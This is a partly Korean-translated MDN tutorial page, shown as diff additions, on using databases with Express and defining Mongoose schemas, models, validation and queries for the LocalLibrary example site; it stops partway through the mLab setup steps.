+<p class="summary">이번에는 데이터베이스를 간단히 소개하고, Node/Express 어플리케이션으로 데이터베이스를 어떻게 다루는 지 알아보겠습니다. 그리고 <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">LocalLibrary</a> 웹사이트를 위한 데이터베이스 접근을 제공하는 <a href="http://mongoosejs.com/">Mongoose</a>를 어떻게 사용할 수 있는지 보여줄 것입니다. 오브젝트 스키마와 모델을 선언하는 방법, 주요 필드 타입, 기본 유효성 검사를 설명합니다. 또한 당신이 모델 데이터에 접근할 수 있는 주요한 몇가지 방법들을 소개할 것입니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisites:</th>
+   <td><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express Tutorial Part 2: Creating a skeleton website</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Objective:</th>
+   <td>To be able to design and create your own models using Mongoose.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="개요">개요</h2>
+
+<p>도서관 직원들은 책과 대여자의 정보를 저장하기 위해 Local Library 웹사이트를 사용할 것입니다. 그리고 도서관 회원들은 책을 빌리고, 검색하며, 어떤 책이 이용한지 알아내고, 책 대여를 예약하거나 책을 빌릴 것입니다. 정보를 효과적으로 저장하고 가져오기 위해서, 우리는 그 정보를 데이터베이스에 저장할 것입니다.</p>
+
+<p>Express 앱은 다양한 데이터베이스를 사용할 수 있고, 당신에게 CRUD(<strong>C</strong>reate, <strong>R</strong>ead, <strong>U</strong>pdate and <strong>D</strong>elete)를 수행할 수 있는 여러 방법을 제공합니다. 이번 튜토리얼은 이용가능한 몇가지 선택지에 대한 간략한 개요를 제공하며, 더 나아가 우리가 선택한 몇가지 메커니즘에 대해선 자세히 알아볼 것입니다.</p>
+
+<h3 id="사용할_수_있는_데이터베이스는_무엇이_있나요">사용할 수 있는 데이터베이스는 무엇이 있나요?</h3>
+
+<p>Express 앱은 노드에서 지원하는 어떤 데이터베이스라도 사용가능합니다. (Express 자체는 데이터베이스 관리에 대한 특정한 추가 동작/요구사항을 정의하지 않습니다.) PostgreSQL, MySQL, Redis, SQLite, and MongoDB를 포함한 많은 <a href="https://expressjs.com/en/guide/database-integration.html">인기있는 데이터베이스 옵션</a>을 선택가능합니다.</p>
+
+<p>데이터베이스를 고를때, 당신은 생산성/러닝커브, 성능, 쉬운 리플리케이션/백업, 비용, 커뮤니티 지원 등을 고려해야 합니다. 하나의 "최고"  데이터베이스를 정하지 못하는 동안, 우리의 Local Library 같이 작은 규모에서 중간규모의 사이트에 적합한 거의 모든 어떤 솔루션이라도 사용 가능해야 합니다.</p>
+
+<p>옵션에 대한 더 많은 정보는 여기를 보십시오: <a href="https://expressjs.com/en/guide/database-integration.html">데이터베이스 인테그레이션</a> (Express 문서)</p>
+
+<h3 id="데이터베이스와_상호작용하는_최소의_방법은_무엇인가요">데이터베이스와 상호작용하는 최소의 방법은 무엇인가요?</h3>
+
+<p>데이터베이스와 상호작용하는 두가지 접근법이 있습니다: </p>
+
+<ul>
+ <li>데이터베이스의 네이티브 쿼리 언어를 사용 (예를 들어 SQL)</li>
+ <li>오브젝트 데이터 모델 ("ODM") / 오브젝트 관계형 모델 ("ORM")을 사용. ODM/ORM은 웹사이트의 데이터를 Javascript 오브젝트로 나타내며, 그다음 기본 데이터베이스에 매핑됩니다. 어떤 ORM은 특정 데이터베이스에 연결된 반면, 또다른 ORM은 데이터베이스와 무관한 백엔드를 제공합니다.</li>
+</ul>
+
+<p>최상의 퍼포먼스는 SQL이나 데이터베이스에서 지원하는 쿼리 언어를 사용할때 얻을 수 있습니다. ODM은 오브젝트와 데이터베이스 포맷을 매핑하는 변환코드를 사용하기 때문에 종종 느리며, 가장 효율적인 데이터베이스 쿼리를 사용하지 않을 수 있습니다.</p>
+
+<p>ORM을 사용하는 이점은 프로그래머가 데이터베이스의 의미보다 JavaScript 객체로 계속해서 생각할 수 있다는 것입니다.  - 이는 다른 데이터베이스(같거나 다른 웹사이트 어느 쪽에서든)들에서 작업해야 하는 경우 특히 그렇습니다. 또한 데이터의 유효성 및 확인을 확실히 할 수 있습니다.</p>
+
+<div class="note">
+<p><strong>팁:</strong>  ODM/ORM을 사용하면 개발 및 유지 보수 비용이 절감됩니다. 네이티브 쿼리 언어에 친숙하거나 퍼포먼스가 중요한 것이 아니라면, ODM 사용을 적극 고려해야 합니다.</p>
+</div>
+
+<p>NPM 패키지 매니저 사이트에는 사용가능한 많은 ODM/ORM 솔루션이 있습니다.(<a href="https://www.npmjs.com/browse/keyword/odm">odm</a> 과 <a href="https://www.npmjs.com/browse/keyword/orm">orm</a> 태그 집합을 확인하십시오.)</p>
+
+<p>이 글 작성 시점에 인기있었던 솔루션은 다음과 같습니다:</p>
+
+<ul>
+ <li><a href="https://www.npmjs.com/package/mongoose">Mongoose</a>: Mongoose는 비동기적인 환경에서 작업할 수 있도록 디자인된 <a href="https://www.mongodb.org/">MongoDB</a> 객체 모델링 툴입니다.</li>
+ <li><a href="https://www.npmjs.com/package/waterline">Waterline</a>: An ORM extracted from the Express-based <a href="http://sailsjs.com/">Sails</a> web framework. It provides a uniform API for accessing numerous different databases, including Redis, mySQL, LDAP, MongoDB, and Postgres.</li>
+ <li><a href="https://www.npmjs.com/package/bookshelf">Bookshelf</a>: Features both promise-based and traditional callback interfaces, providing transaction support, eager/nested-eager relation loading, polymorphic associations, and support for one-to-one, one-to-many, and many-to-many relations. Works with PostgreSQL, MySQL, and SQLite3.</li>
+ <li><a href="https://www.npmjs.com/package/objection">Objection</a>: Makes it as easy as possible to use the full power of SQL and the underlying database engine (supports SQLite3, Postgres, and MySQL).</li>
+ <li>
+  <p><a href="https://www.npmjs.com/package/sequelize">Sequelize</a> is a promise-based ORM for Node.js and io.js. It supports the dialects PostgreSQL, MySQL, MariaDB, SQLite and MSSQL and features solid transaction support, relations, read replication and more.</p>
+ </li>
+</ul>
+
+<p>일반적으로 솔루션을 선택할 때, 당신은 제공되는 기능과 "커뮤니티 활동" (다운로드, 공헌도, 버그 리포트, 문서 퀄리티 등) 모두를 고려해야 합니다. 이에 대한 글을 작성하고 있는 시점에, 몽구스는 가장 유명한 ORM이며, 당신이 MongoDB를 사용한다면 몽구스는 합리적인 선택입니다.</p>
+
+<h3 id="Using_Mongoose_and_MongoDb_for_the_LocalLibrary">Using Mongoose and MongoDb for the LocalLibrary</h3>
+
+<p>For the <em>Local Library</em> example (and the rest of this topic) we're going to use the <a href="https://www.npmjs.com/package/mongoose">Mongoose ODM</a> to access our library data. Mongoose acts as a front end to <a href="https://www.mongodb.com/what-is-mongodb">MongoDB</a>, an open source <a href="https://en.wikipedia.org/wiki/NoSQL">NoSQL</a> database that uses a document-oriented data model. A “collection” of “documents”, in a MongoDB database, <a href="https://docs.mongodb.com/manual/core/databases-and-collections/#collections">is analogous to</a> a “table” of “rows” in a relational database.</p>
+
+<p>This ODM and database combination is extremely popular in the Node community, partially because the document storage and query system looks very much like JSON, and is hence familiar to JavaScript developers.</p>
+
+<div class="note">
+<p><strong>Tip:</strong> You don't need to know MongoDB in order to use Mongoose, although parts of the <a href="http://mongoosejs.com/docs/guide.html">Mongoose documentation</a> <em>are</em> easier to use and understand if you are already familiar with MongoDB.</p>
+</div>
+
+<p>The rest of this tutorial shows how to define and access the Mongoose schema and models for the <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">LocalLibrary website</a> example.</p>
+
+<h2 id="Designing_the_LocalLibrary_models">Designing the LocalLibrary models</h2>
+
+<p>Before you jump in and start coding the models, it's worth taking a few minutes to think about what data we need to store and the relationships between the different objects.</p>
+
+<p>We know that we need to store information about books (title, summary, author, genre, ISBN) and that we might have multiple copies available (with globally unique ids, availability statuses, etc.). We might need to store more information about the author than just their name, and there might be multiple authors with the same or similar names. We want to be able to sort information based on book title, author, genre, and category.</p>
+
+<p>When designing your models it makes sense to have separate models for every "object" (group of related information). In this case the obvious objects are books, book instances, and authors.</p>
+
+<p>You might also want to use models to represent selection-list options (e.g. like a drop down list of choices), rather than hard coding the choices into the website itself — this is recommended when all the options aren't known up front or may change. The obvious candidate for a model of this type is the book genre (e.g. Science Fiction, French Poetry, etc.)</p>
+
+<p>Once we've decided on our models and fields, we need to think about the relationships between them.</p>
+
+<p>With that in mind, the UML association diagram below shows the models we'll define in this case (as boxes). As discussed above, we've created models for book (the generic details of the book), book instance (status of specific physical copies of the book available in the system), and author. We have also decided to have a model for genre, so that values can be created dynamically. We've decided not to have a model for the <code>BookInstance:status</code> — we will hard code the acceptable values because we don't expect these to change. Within each of the boxes you can see the model name, the field names and types, and also the methods and their return types.</p>
+
+<p>The diagram also shows the relationships between the models, including their <em>multiplicities</em>. The multiplicities are the numbers on the diagram showing the numbers (maximum and minimum) of each model that may be present in the relationship. For example, the connecting line between the boxes shows that <code>Book</code> and a <code>Genre</code> are related. The numbers close to the <code>Book</code> model show that a book must have zero or more <code>Genre</code> (as many as you like), while the numbers on the other end of the line next to the <code>Genre</code> show that it can have zero or more associated books.</p>
+
+<div class="note">
+<p><strong>Note</strong>: As discussed in our <a href="#related_documents">Mongoose primer</a> below it is often better to have the field that defines the relationship between the documents/models in just <em>one</em> model (you can still find the reverse relationship by searching for the associated <code>_id</code> in the other model). Below we have chosen to define the relationship between Book/Genre and Book/Author in the Book schema, and the relationship between the Book/BookInstance in the BookInstance Schema. This choice was somewhat arbitrary — we could equally well have had the field in the other schema.</p>
+</div>
+
+<p><img alt="Mongoose Library Model  with correct cardinality" src="https://mdn.mozillademos.org/files/15645/Library%20Website%20-%20Mongoose_Express.png" style="height: 620px; width: 737px;"></p>
+
+<div class="note">
+<p><strong>Note</strong>: The next section provides a basic primer explaining how models are defined and used. As you read it, consider how we will construct each of the models in the diagram above.</p>
+</div>
+
+<h2 id="Mongoose_primer">Mongoose primer</h2>
+
+<p>This section provides an overview of how to connect Mongoose to a MongoDB database, how to define a schema and a model, and how to make basic queries. </p>
+
+<div class="note">
+<p><strong>Note:</strong> This primer is "heavily influenced" by the <a href="https://www.npmjs.com/package/mongoose">Mongoose quick start</a> on <em>npm</em> and the <a href="http://mongoosejs.com/docs/guide.html">official documentation</a>.</p>
+</div>
+
+<h3 id="Installing_Mongoose_and_MongoDB">Installing Mongoose and MongoDB</h3>
+
+<p>Mongoose is installed in your project (<strong>package.json</strong>) like any other dependency — using NPM. To install it, use the following command inside your project folder:</p>
+
+<pre class="brush: bash"><code>npm install mongoose</code>
+</pre>
+
+<p>Installing <em>Mongoose</em> adds all its dependencies, including the MongoDB database driver, but it does not install MongoDB itself. If you want to install a MongoDB server then you can <a href="https://www.mongodb.com/download-center">download installers from here</a> for various operating systems and install it locally. You can also use cloud-based MongoDB instances.</p>
+
+<div class="note">
+<p><strong>Note:</strong> For this tutorial we'll be using the mLab cloud-based <em>database as a service</em> <a href="https://mlab.com/plans/pricing/">sandbox tier</a> to provide the database. This is suitable for development, and makes sense for the tutorial because it makes "installation" operating system independent (database-as-a-service is also one approach you might well use for your production database).</p>
+</div>
+
+<h3 id="Connecting_to_MongoDB">Connecting to MongoDB</h3>
+
+<p><em>Mongoose</em> requires a connection to a MongoDB database. You can <code>require()</code> and connect to a locally hosted database with <code>mongoose.connect()</code>, as shown below.</p>
+
+<pre class="brush: js">//Import the mongoose module
+var mongoose = require('mongoose');
+
+//Set up default mongoose connection
+var mongoDB = 'mongodb://127.0.0.1/my_database';
+mongoose.connect(mongoDB);
+// Get Mongoose to use the global promise library
+mongoose.Promise = global.Promise;
+//Get the default connection
+var db = mongoose.connection;
+
+//Bind connection to error event (to get notification of connection errors)
+db.on('error', console.error.bind(console, 'MongoDB connection error:'));</pre>
+
+<p>You can get the default <code>Connection</code> object with <code>mongoose.connection</code>. Once connected, the open event is fired on the <code>Connection</code> instance.</p>
+
+<div class="note">
+<p><strong>Tip:</strong> If you need to create additional connections you can use <code>mongoose.createConnection()</code>. This takes the same form of database URI (with host, database, port, options etc.) as <code>connect()</code> and returns a <code>Connection</code> object).</p>
+</div>
+
+<h3 id="Defining_and_creating_models">Defining and creating models</h3>
+
+<p>Models are <em>defined </em>using the <code>Schema</code> interface. The Schema allows you to define the fields stored in each document along with their validation requirements and default values. In addition, you can define static and instance helper methods to make it easier to work with your data types, and also virtual properties that you can use like any other field, but which aren't actually stored in the database (we'll discuss a bit further below).</p>
+
+<p>Schemas are then "compiled" into models using the <code>mongoose.model()</code> method. Once you have a model you can use it to find, create, update, and delete objects of the given type.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Each model maps to a <em>collection</em> of <em>documents</em> in the MongoDB database. The documents will contain the fields/schema types defined in the model <code>Schema</code>.</p>
+</div>
+
+<h4 id="Defining_schemas">Defining schemas</h4>
+
+<p>The code fragment below shows how you might define a simple schema. First you <code>require()</code> mongoose, then use the Schema constructor to create a new schema instance, defining the various fields inside it in the constructor's object parameter.</p>
+
+<pre class="brush: js">//Require Mongoose
+var mongoose = require('mongoose');
+
+//Define a schema
+var Schema = mongoose.Schema;
+
+var SomeModelSchema = new Schema({
+    a_string: String,
+    a_date: Date
+});
+</pre>
+
+<p>In the case above we just have two fields, a string and a date. In the next sections we will show some of the other field types, validation, and other methods.</p>
+
+<h4 id="Creating_a_model">Creating a model</h4>
+
+<p>Models are created from schemas using the <code>mongoose.model()</code> method:</p>
+
+<pre class="brush: js">// Define schema
+var Schema = mongoose.Schema;
+
+var SomeModelSchema = new Schema({
+    a_string: String,
+    a_date: Date
+});
+
+<strong>// Compile model from schema
+var SomeModel = mongoose.model('SomeModel', SomeModelSchema );</strong></pre>
+
+<p>The first argument is the singular name of the collection that will be created for your model (Mongoose will create the database collection for the above model <em>SomeModel</em> above), and the second argument is the schema you want to use in creating the model.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Once you've defined your model classes you can use them to create, update, or delete records, and to run queries to get all records or particular subsets of records. We'll show you how to do this in the <a href="#Using_models">Using models</a> section, and when we create our views.</p>
+</div>
+
+<h4 id="스키마_타입_(필드)">스키마 타입 (필드)</h4>
+
+<p>한 스키마는 임의의 숫자의 필드들을 가질 수 있습니다.(각각의 필드는 MongoDB에 저장된 문서의 필드를 대표합니다.) 아래의 예제 스키마는 일반적인 필드 타입들을 보여주고 있으며 그들이 어떻게 선언되는지 나타냅니다.</p>
+
+<pre class="brush: js">var schema = new Schema(
+{
+  name: <strong>String</strong>,
+  binary: <strong>Buffer</strong>,
+  living: <strong>Boolean</strong>,
+  updated: { type: <strong>Date</strong>, default: Date.now },
+  age: { type: <strong>Number</strong>, min: 18, max: 65, required: true },
+  mixed: <strong>Schema.Types.Mixed</strong>,
+  _someId: <strong>Schema.Types.ObjectId</strong>,
+  array: <strong>[]</strong>,
+  ofString: [<strong>String</strong>], // You can also have an array of each of the other types too.
+  nested: { stuff: { type: <strong>String</strong>, lowercase: true, trim: true } }
+})</pre>
+
+<p>Most of the <a href="http://mongoosejs.com/docs/schematypes.html">SchemaTypes</a> (the descriptors after “type:” or after field names) are self explanatory. The exceptions are:</p>
+
+<ul>
+ <li><code>ObjectId</code>: Represents specific instances of a model in the database. For example, a book might use this to represent its author object. This will actually contain the unique ID (<code>_id</code>) for the specified object. We can use the <code>populate()</code> method to pull in the associated information when needed.</li>
+ <li><a href="http://mongoosejs.com/docs/schematypes.html#mixed">Mixed</a>: 임의의 스키마 타입입니다.(어떤 타입도 될 수 있음)</li>
+ <li><font face="Consolas, Liberation Mono, Courier, monospace">[]</font>: An array of items. You can perform JavaScript array operations on these models (push, pop, unshift, etc.). The examples above show an array of objects without a specified type and an array of <code>String</code> objects, but you can have an array of any type of object.</li>
+</ul>
+
+<p>The code also shows both ways of declaring a field:</p>
+
+<ul>
+ <li>Field <em>name</em> and <em>type</em> as a key-value pair (i.e. as done with fields <code>name</code>, <code>binary </code>and <code>living</code>).</li>
+ <li>Field <em>name</em> followed by an object defining the <code>type</code>, and any other <em>options</em> for the field. Options include things like:
+  <ul>
+   <li>default values.</li>
+   <li>built-in validators (e.g. max/min values) and custom validation functions.</li>
+   <li>Whether the field is required</li>
+   <li>Whether <code>String</code> fields should automatically be set to lowercase, uppercase, or trimmed (e.g. <code>{ type: <strong>String</strong>, lowercase: true, trim: true }</code>)</li>
+  </ul>
+ </li>
+</ul>
+
+<p>For more information about options see <a href="http://mongoosejs.com/docs/schematypes.html">SchemaTypes</a> (Mongoose docs).</p>
+
+<h4 id="Validation">Validation</h4>
+
+<p>Mongoose provides built-in and custom validators, and synchronous and asynchronous validators. It allows you to specify both the acceptable range or values and the error message for validation failure in all cases.</p>
+
+<p>The built-in validators include:</p>
+
+<ul>
+ <li>All <a href="http://mongoosejs.com/docs/schematypes.html">SchemaTypes</a> have the built-in <a href="http://mongoosejs.com/docs/api.html#schematype_SchemaType-required">required</a> validator. This is used to specify whether the field must be supplied in order to save a document.</li>
+ <li><a href="http://mongoosejs.com/docs/api.html#schema-number-js">Numbers</a> have <a href="http://mongoosejs.com/docs/api.html#schema_number_SchemaNumber-min">min</a> and <a href="http://mongoosejs.com/docs/api.html#schema_number_SchemaNumber-max">max</a> validators.</li>
+ <li><a href="http://mongoosejs.com/docs/api.html#schema-string-js">Strings</a> have:
+  <ul>
+   <li><a href="http://mongoosejs.com/docs/api.html#schema_string_SchemaString-enum">enum</a>: specifies the set of allowed values for the field.</li>
+   <li><a href="http://mongoosejs.com/docs/api.html#schema_string_SchemaString-match">match</a>: specifies a regular expression that the string must match.</li>
+   <li><a href="http://mongoosejs.com/docs/api.html#schema_string_SchemaString-maxlength">maxlength</a> and <a href="http://mongoosejs.com/docs/api.html#schema_string_SchemaString-minlength">minlength</a> for the string.</li>
+  </ul>
+ </li>
+</ul>
+
+<p>The example below (slightly modified from the Mongoose documents) shows how you can specify some of the validator types and error messages:</p>
+
+<pre class="brush: js"><code>
+    var breakfastSchema = new Schema({
+      eggs: {
+        type: Number,
+        min: [6, 'Too few eggs'],
+        max: 12
+        required: [true, 'Why no eggs?']
+      },
+      drink: {
+        type: String,
+        enum: ['Coffee', 'Tea', 'Water',]
+      }
+    });
+</code></pre>
+
+<p>For complete information on field validation see <a href="http://mongoosejs.com/docs/validation.html">Validation</a> (Mongoose docs).</p>
+
+<h4 id="Virtual_properties">Virtual properties</h4>
+
+<p>Virtual properties are document properties that you can get and set but that do not get persisted to MongoDB. The getters are useful for formatting or combining fields, while setters are useful for de-composing a single value into multiple values for storage. The example in the documentation constructs (and deconstructs) a full name virtual property from a first and last name field, which is easier and cleaner than constructing a full name every time one is used in a template.</p>
+
+<div class="note">
+<p><strong>Note:</strong> We will use a virtual property in the library to define a unique URL for each model record using a path and the record's <code>_id</code> value.</p>
+</div>
+
+<p>For more information see <a href="http://mongoosejs.com/docs/guide.html#virtuals">Virtuals</a> (Mongoose documentation).</p>
+
+<h4 id="Methods_and_query_helpers">Methods and query helpers</h4>
+
+<p>A schema can also have <a href="http://mongoosejs.com/docs/guide.html#methods">instance methods</a>, <a href="http://mongoosejs.com/docs/guide.html#statics">static methods</a>, and <a href="http://mongoosejs.com/docs/guide.html#query-helpers">query helpers</a>. The instance and static methods are similar, but with the obvious difference that an instance method is associated with a particular record and has access to the current object. Query helpers allow you to extend mongoose's <a href="http://mongoosejs.com/docs/queries.html">chainable query builder API</a> (for example, allowing you to add a query "byName" in addition to the <code>find()</code>, <code>findOne()</code> and <code>findById()</code> methods).</p>
+
+<h3 id="Using_models">Using models</h3>
+
+<p>Once you've created a schema you can use it to create models. The model represents a collection of documents in the database that you can search, while the model's instances represent individual documents that you can save and retrieve.</p>
+
+<p>We provide a brief overview below. For more information see: <a href="http://mongoosejs.com/docs/models.html">Models</a> (Mongoose docs).</p>
+
+<h4 id="Creating_and_modifying_documents">Creating and modifying documents</h4>
+
+<p>To create a record you can define an instance of the model and then call <code>save()</code>. The examples below assume SomeModel is a model (with a single field "name") that we have created from our schema.</p>
+
+<pre class="brush: js"><code>// Create an instance of model SomeModel
+var awesome_instance = new </code>SomeModel<code>({ name: 'awesome' });
+
+// Save the new model instance, passing a callback
+awesome_instance.save(function (err) {
+  if (err) return handleError(err);
+  // saved!
+});
+</code></pre>
+
+<p>Creation of records (along with updates, deletes, and queries) are asynchronous operations — you supply a callback that is called when the operation completes. The API uses the error-first argument convention, so the first argument for the callback will always be an error value (or null). If the API returns some result, this will be provided as the second argument.</p>
+
+<p>You can also use <code>create()</code> to define the model instance at the same time as you save it. The callback will return an error for the first argument and the newly-created model instance for the second argument.</p>
+
+<pre class="brush: js">SomeModel<code>.create({ name: 'also_awesome' }, function (err, awesome_instance) {
+  if (err) return handleError(err);
+  // saved!
+});</code></pre>
+
+<p>Every model has an associated connection (this will be the default connection when you use <code>mongoose.model()</code>). You create a new connection and call <code>.model()</code> on it to create the documents on a different database.</p>
+
+<p>You can access the fields in this new record using the dot syntax, and change the values. You have to call <code>save()</code> or <code>update()</code> to store modified values back to the database.</p>
+
+<pre class="brush: js">// Access model field values using dot notation
+console.log(<code>awesome_instance.name</code>); //should log '<code>also_awesome</code>'
+
+// Change record by modifying the fields, then calling save().
+<code>awesome_instance</code>.name="New cool name";
+<code>awesome_instance.save(function (err) {
+   if (err) return handleError(err); // saved!
+   });</code>
+</pre>
+
+<h4 id="Searching_for_records">Searching for records</h4>
+
+<p>You can search for records using query methods, specifying the query conditions as a JSON document. The code fragment below shows how you might find all athletes in a database that play tennis, returning just the fields for athlete <em>name</em> and <em>age</em>. Here we just specify one matching field (sport) but you can add more criteria, specify regular expression criteria, or remove the conditions altogether to return all athletes.</p>
+
+<pre class="brush: js"><code>var Athlete = mongoose.model('Athlete', yourSchema);
+
+// find all athletes who play tennis, selecting the 'name' and 'age' fields
+Athlete.find({ 'sport': 'Tennis' }, 'name age', function (err, athletes) {
+  if (err) return handleError(err);
+  // 'athletes' contains the list of athletes that match the criteria.
+})</code></pre>
+
+<p>If you specify a callback, as shown above, the query will execute immediately. The callback will be invoked when the search completes.</p>
+
+<div class="note">
+<p><strong>Note:</strong> All callbacks in Mongoose use the pattern <code>callback(error, result)</code>. If an error occurs executing the query, the <code>error</code> parameter will contain an error document, and <code>result</code> will be null. If the query is successful, the <code>error</code> parameter will be null, and the <code>result</code> will be populated with the results of the query.</p>
+</div>
+
+<p>If you don't specify a callback then the API will return a variable of type <a href="http://mongoosejs.com/docs/api.html#query-js">Query</a>. You can use this query object to build up your query and then execute it (with a callback) later using the <code>exec()</code> method.</p>
+
+<pre class="brush: js"><code>// find all athletes that play tennis
+var query = Athlete.find({ 'sport': 'Tennis' });
+
+// selecting the 'name' and 'age' fields
+query.select('name age');
+
+// limit our results to 5 items
+query.limit(5);
+
+// sort by age
+query.sort({ age: -1 });
+
+// execute the query at a later time
+query.exec(function (err, athletes) {
+  if (err) return handleError(err);
+  // athletes contains an ordered list of 5 athletes who play Tennis
+})</code></pre>
+
+<p>Above we've defined the query conditions in the <code>find()</code> method. We can also do this using a <code>where()</code> function, and we can chain all the parts of our query together using the dot operator (.) rather than adding them separately. The code fragment below is the same as our query above, with an additional condition for the age.</p>
+
+<pre><code>Athlete.
+  find().
+  where('sport').equals('Tennis').
+  where('age').gt(17).lt(50).  //Additional where query
+  limit(5).
+  sort({ age: -1 }).
+  select('name age').
+  exec(callback); // where callback is the name of our callback function.</code></pre>
+
+<p>The <a href="http://mongoosejs.com/docs/api.html#query_Query-find">find()</a> method gets all matching records, but often you just want to get one match. The following methods query for a single record:</p>
+
+<ul>
+ <li><code><a href="http://mongoosejs.com/docs/api.html#model_Model.findById">findById()</a></code>: Finds the document with the specified <code>id</code> (every document has a unique <code>id</code>).</li>
+ <li><code><a href="http://mongoosejs.com/docs/api.html#query_Query-findOne">findOne()</a></code>: Finds a single document that matches the specified criteria.</li>
+ <li><code><a href="http://mongoosejs.com/docs/api.html#model_Model.findByIdAndRemove">findByIdAndRemove()</a></code>, <code><a href="http://mongoosejs.com/docs/api.html#model_Model.findByIdAndUpdate">findByIdAndUpdate()</a></code>, <code><a href="http://mongoosejs.com/docs/api.html#query_Query-findOneAndRemove">findOneAndRemove()</a></code>, <code><a href="http://mongoosejs.com/docs/api.html#query_Query-findOneAndUpdate">findOneAndUpdate()</a></code>: Finds a single document by <code>id</code> or criteria and either update or remove it. These are useful convenience functions for updating and removing records.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note:</strong> There is also a <code><a href="http://mongoosejs.com/docs/api.html#model_Model.count">count()</a></code> method that you can use to get the number of items that match conditions. This is useful if you want to perform a count without actually fetching the records.</p>
+</div>
+
+<p>There is a lot more you can do with queries. For more information see: <a href="http://mongoosejs.com/docs/queries.html">Queries</a> (Mongoose docs).</p>
+
+<h4 id="Working_with_related_documents_—_population">Working with related documents — population</h4>
+
+<p>You can create references from one document/model instance to another using the <code>ObjectId</code> schema field, or from one document to many using an array of <code>ObjectIds</code>. The field stores the id of the related model. If you need the actual content of the associated document, you can use the <code><a href="http://mongoosejs.com/docs/api.html#query_Query-populate">populate()</a></code> method in a query to replace the id with the actual data.</p>
+
+<p>For example, the following schema defines authors and stories. Each author can have multiple stories, which we represent as an array of <code>ObjectId</code>. Each story can have a single author. The "ref" (highlighted in bold below) tells the schema which model can be assigned to this field.</p>
+
+<pre class="brush: js"><code>var mongoose = require('mongoose')
+  , Schema = mongoose.Schema
+
+var authorSchema = Schema({
+  name    : String,
+  stories : [{ type: Schema.Types.ObjectId, <strong>ref</strong>: 'Story' }]
+});
+
+var storySchema = Schema({
+  author : { type: Schema.Types.ObjectId, <strong>ref</strong>: 'Author' },
+  title    : String
+});
+
+var Story  = mongoose.model('Story', storySchema);
+var Author = mongoose.model('Author', authorSchema);</code></pre>
+
+<p>We can save our references to the related document by assigning the <code>_id</code> value. Below we create an author, then a book, and assign the author id to our stories author field.</p>
+
+<pre class="brush: js"><code>var bob = new Author({ name: 'Bob Smith' });
+
+bob.save(function (err) {
+  if (err) return handleError(err);
+
+  //Bob now exists, so lets create a story
+  var story = new Story({
+    title: "Bob goes sledding",
+    author: bob._id    // assign the _id from the our author Bob. This ID is created by default!
+  });
+
+  story.save(function (err) {
+    if (err) return handleError(err);
+    // Bob now has his story
+  });
+});</code></pre>
+
+<p>Our story document now has an author referenced by the author document's ID. In order to get the author information in our story results we use <code>populate()</code>, as shown below.</p>
+
+<pre class="brush: js"><code>Story
+.findOne({ title: 'Bob goes sledding' })
+.populate('author') //This populates the author id with actual author information!
+.exec(function (err, story) {
+  if (err) return handleError(err);
+  console.log('The author is %s', story.author.name);
+  // prints "The author is Bob Smith"
+});</code></pre>
+
+<div class="note">
+<p><strong>Note:</strong> Astute readers will have noted that we added an author to our story, but we didn't do anything to add our story to our author's <code>stories</code> array. How then can we get all stories by a particular author? One way would be to add our author to the stories array, but this would result in us having two places where the information relating authors and stories needs to be maintained.</p>
+
+<p>A better way is to get the <code>_id</code> of our <em>author</em>, then use <code>find()</code> to search for this in the author field across all stories.</p>
+
+<pre class="brush: js"><code>Story
+.find({ author : bob._id })
+.exec(function (err, stories) {
+  if (err) return handleError(err);
+  // returns all stories that have Bob's id as their author.
+});</code>
+</pre>
+</div>
+
+<p>This is almost everything you need to know about working with related items<em> for this tutorial</em>. For more detailed information see <a href="http://mongoosejs.com/docs/populate.html">Population</a> (Mongoose docs).</p>
+
+<h3 id="One_schemamodel_per_file">One schema/model per file</h3>
+
+<p>While you can create schemas and models using any file structure you like, we highly recommend defining each model schema in its own module (file), exporting the method to create the model. This is shown below:</p>
+
+<pre class="brush: js"><code>// File: ./models/somemodel.js
+
+//Require Mongoose
+var mongoose = require('mongoose');
+
+//Define a schema
+var Schema = mongoose.Schema;
+
+var SomeModelSchema = new Schema({
+    a_string          : String,
+    a_date            : Date,
+});
+
+<strong>//Export function to create "SomeModel" model class
+module.exports = mongoose.model('SomeModel', SomeModelSchema );</strong></code></pre>
+
+<p>You can then require and use the model immediately in other files. Below we show how you might use it to get all instances of the model.</p>
+
+<pre class="brush: js"><code>//Create a SomeModel model just by requiring the module
+var SomeModel = require('../models/somemodel')
+
+// Use the SomeModel object (model) to find all SomeModel records
+SomeModel.find(callback_function);</code></pre>
+
+<h2 id="Setting_up_the_MongoDB_database">Setting up the MongoDB database</h2>
+
+<p>Now that we understand something of what Mongoose can do and how we want to design our models, it's time to start work on the <em>LocalLibrary</em> website. The very first thing we want to do is set up a MongoDb database that we can use to store our library data.</p>
+
+<p>For this tutorial we're going to use <a href="https://mlab.com/welcome/">mLab</a>'s free cloud-hosted "<a href="https://mlab.com/plans/pricing/">sandbox</a>" database. This database tier is not considered suitable for production websites because it has no redundancy, but it is great for development and prototyping. We're using it here because it is free and easy to set up, and because mLab is a popular <em>database as a service</em> vendor that you might reasonably choose for your production database (other popular choices at the time of writing include <a href="https://www.compose.com/">Compose</a>, <a href="https://scalegrid.io/pricing.html">ScaleGrid</a> and <a href="https://www.mongodb.com/cloud/atlas">MongoDB Atlas</a>).</p>
+
+<div class="note">
+<p><strong>Note:</strong> If you prefer you can set up a MongoDb database locally by downloading and installing the <a href="https://www.mongodb.com/download-center">appropriate binaries for your system</a>. The rest of the instructions in this article would be similar, except for the database URL you would specify when connecting.</p>
+</div>
+
+<p>You will first need to <a href="https://mlab.com/signup/">create an account</a> with mLab (this is free, and just requires that you enter basic contact details and acknowledge their terms of service). </p>
+
+<p>After logging in, you'll be taken to the <a href="https://mlab.com/home">home</a> screen:</p>
+
+<ol>
+ <li>Click <strong>Create New</strong> in the <em>MongoDB Deployments</em> section.<img alt="" src="https://mdn.mozillademos.org/files/14446/mLabCreateNewDeployment.png" style="height: 415px; width: 1000px;"></li>
+ <li>This will open the <em>Cloud Provider Selection </em>screen.<br>
